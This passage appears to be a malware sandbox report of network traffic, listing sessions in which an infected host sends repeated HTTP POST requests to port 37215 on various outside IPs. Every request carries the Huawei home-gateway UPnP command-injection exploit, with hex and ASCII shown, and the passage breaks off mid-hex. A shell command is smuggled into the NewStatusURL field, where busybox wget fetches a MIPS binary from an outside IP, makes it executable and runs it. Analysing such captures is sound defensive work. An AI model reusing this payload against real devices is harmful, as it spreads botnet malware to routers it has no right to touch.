61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.20	44244	45.42.85.18	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:00.749892950 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.20	40866	156.241.11.199	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:15.468189001 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:16.920761108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:18.668767929 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:22.164763927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:29.164716005 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:43.148751974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:11.148843050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.20	55012	94.120.239.14	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:15.722235918 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 